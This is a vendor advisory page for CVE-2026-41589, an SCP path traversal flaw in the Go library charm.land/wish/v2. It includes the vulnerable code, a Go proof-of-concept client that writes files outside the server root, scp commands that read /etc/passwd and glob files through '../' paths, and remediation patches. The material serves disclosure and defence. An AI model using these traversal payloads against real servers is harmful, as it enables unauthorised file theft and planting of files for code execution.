Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

CVE-2026-41589 v2

CRITICAL

CVE-2026-41589 is a critical-severity (CVSS 9.6) Path Traversal vulnerability in charm.land/wish/v2. A fix is available for charm.land/wish/v2 — see the affected versions and patch details below.

Wish has SCP Path Traversal that allows arbitrary file read/write

Also known asGHSA-xjvp-7243-rg9hGO-2026-5762
Published
May 7, 2026
Updated
Aug 12, 2026
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41589.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs33th percentile — riskier than 33% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-41589 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected
🐹charm.land/wish/v2🐹github.com/charmbracelet/wish

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol.

Affected Versions

  • charm.land/wish/v2 — all versions through commit 72d67e6 (current main)
  • github.com/charmbracelet/wish — likely all v1 versions (same code pattern)

Details

Root Cause

The fileSystemHandler.prefixed() method in scp/filesystem.go:42-48 is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:

func (h *fileSystemHandler) prefixed(path string) string {
    path = filepath.Clean(path)
    if strings.HasPrefix(path, h.root) {
        return path
    }
    return filepath.Join(h.root, path)
}

When path contains ../ components, filepath.Clean resolves them but does not reject them. The subsequent filepath.Join(h.root, path) produces a path that escapes the root directory.

Attack Vector 1: Arbitrary File Write (scp -t)

When receiving files from a client (scp -t), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:

reNewFile   = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`)
reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`)

The captured filename is used directly in filepath.Join(path, name) without sanitization (scp/copy_from_client.go:90,140), then passed to fileSystemHandler.Write() and fileSystemHandler.Mkdir(), which call prefixed() — allowing the attacker to write files and create directories anywhere on the filesystem.

Attack Vector 2: Arbitrary File Read (scp -f)

When sending files to a client (scp -f), the requested path comes from the SSH command arguments (scp/scp.go:284). This path is passed to handler.Glob(), handler.NewFileEntry(), and handler.NewDirEntry(), all of which call prefixed() — allowing the attacker to read any file accessible to the server process.

Attack Vector 3: File Enumeration via Glob

The Glob method passes user input containing glob metacharacters (*, ?, [) to filepath.Glob after prefixed(), enabling enumeration of files outside the root.

Proof of Concept

All three vectors were validated with end-to-end integration tests against a real SSH server using the public wish and scp APIs.

Vulnerable Server

Any server using scp.NewFileSystemHandler with scp.Middleware is affected. This is the pattern shown in the official examples/scp example:

package main

import (
	"net"

	"charm.land/wish/v2"
	"charm.land/wish/v2/scp"
	"github.com/charmbracelet/ssh"
)

func main() {
	handler := scp.NewFileSystemHandler("/srv/data")
	s, _ := wish.NewServer(
		wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")),
		wish.WithMiddleware(scp.Middleware(handler, handler)),
		// Default: accepts all connections (no auth configured)
	)
	s.ListenAndServe()
}

Write Traversal — Write arbitrary files outside /srv/data

An attacker crafts SCP protocol messages with ../ in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to /tmp/pwned:

package main

import (
	"fmt"
	"os"

	gossh "golang.org/x/crypto/ssh"
)

func main() {
	config := &gossh.ClientConfig{
		User:            "attacker",
		Auth:            []gossh.AuthMethod{gossh.Password("anything")},
		HostKeyCallback: gossh.InsecureIgnoreHostKey(),
	}
	client, _ := gossh.Dial("tcp", "target:2222", config)
	session, _ := client.NewSession()

	// Pipe crafted SCP protocol data into stdin
	stdin, _ := session.StdinPipe()
	go func() {
		// Wait for server's NULL ack, then send traversal payload
		buf := make([]byte, 1)
		session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack

		// File header with traversal: writes to /tmp/pwned (escaping /srv/data)
		fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n")
		// Wait for ack
		stdin.Write([]byte("hello world\n"))
		stdin.Write([]byte{0}) // NULL terminator
		stdin.Close()
	}()

	// Tell the server we're uploading to "."
	session.Run("scp -t .")
}

Or equivalently using standard scp with a symlink trick, or by patching the openssh scp client to send a crafted filename.

Read Traversal — Read arbitrary files outside /srv/data

No custom tooling needed. Standard scp passes the path directly:

# Read /etc/passwd from a server whose SCP root is /srv/data
scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd

The server resolves ../../../etc/passwd through prefixed():

  1. filepath.Clean("../../../etc/passwd")"../../../etc/passwd"
  2. Not prefixed with /srv/data, so: filepath.Join("/srv/data", "../../../etc/passwd")"/etc/passwd"
  3. File contents of /etc/passwd are sent to the attacker.

Glob Traversal — Enumerate and read files outside /srv/data

scp -P 2222 attacker@target:'../../../etc/pass*' ./

Validated Test Output

These were confirmed with integration tests using wish.NewServer, scp.Middleware, and scp.NewFileSystemHandler against temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary:

=== RUN   TestPathTraversalWrite
    PATH TRAVERSAL CONFIRMED: file written to ".../secret/pwned" (outside root ".../scproot")
--- FAIL: TestPathTraversalWrite

=== RUN   TestPathTraversalWriteRecursiveDir
    PATH TRAVERSAL CONFIRMED: directory created at ".../evil_dir" (outside root ".../scproot")
    PATH TRAVERSAL CONFIRMED: file written to ".../evil_dir/payload" (outside root ".../scproot")
--- FAIL: TestPathTraversalWriteRecursiveDir

=== RUN   TestPathTraversalRead
    PATH TRAVERSAL CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalRead

=== RUN   TestPathTraversalGlob
    PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalGlob

Tests used the real SSH handshake via golang.org/x/crypto/ssh, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end.

Impact

An authenticated SSH user can:

  • Write arbitrary files anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or systemd units.
  • Read arbitrary files accessible to the server process, including /etc/shadow, private keys, database credentials, and application secrets.
  • Create arbitrary directories on the filesystem.
  • Enumerate files outside the root via glob patterns.

If the server uses the default authentication configuration (which accepts all connections — see wish.go:19), these attacks are exploitable by unauthenticated remote attackers.

Remediation

Fix prefixed() to enforce root containment

func (h *fileSystemHandler) prefixed(path string) (string, error) {
    // Force path to be relative by prepending /
    joined := filepath.Join(h.root, filepath.Clean("/"+path))
    // Verify the result is still within root
    if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root {
        return "", fmt.Errorf("path traversal detected: %q resolves outside root", path)
    }
    return joined, nil
}

Sanitize filenames in copy_from_client.go

SCP filenames should never contain path separators or .. components:

name := match[3] // or matches[0][2] for directories
if strings.ContainsAny(name, "/\\") || name == ".." || name == "." {
    return fmt.Errorf("invalid filename: %q", name)
}

Validate info.Path in GetInfo or at the middleware entry point

info.Path = filepath.Clean("/" + info.Path)

Credit

Evan MORVAN (evnsh) — [email protected] (Research) Claude Haiku (formatting the report)

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocharm.land/wish/v2all versions2.0.1go get charm.land/wish/v2@v2.0.1
🐹Gogithub.com/charmbracelet/wishall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for charm.land/wish/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update charm.land/wish/v2 to 2.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41589 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41589 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-41589. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The SCP middleware in `charm.land/wish/v2` is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing `../` sequences over the SCP protocol. ## Affected Versions - `charm.land/wish/v2` — all versions through commit `72d67e6` (current `main`) - `github.com/charmbracelet/wish` — likely all v1 versions (same code pattern) ## Details ### Root Cause The `fileSystemHandler.prefixed()` method in `scp/f
O3 Security · Impact-Aware SCA

Is CVE-2026-41589 in your dependencies?

O3 Security finds CVE-2026-41589 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-41589: v2 RCE (Critical 9.6) | O3 Security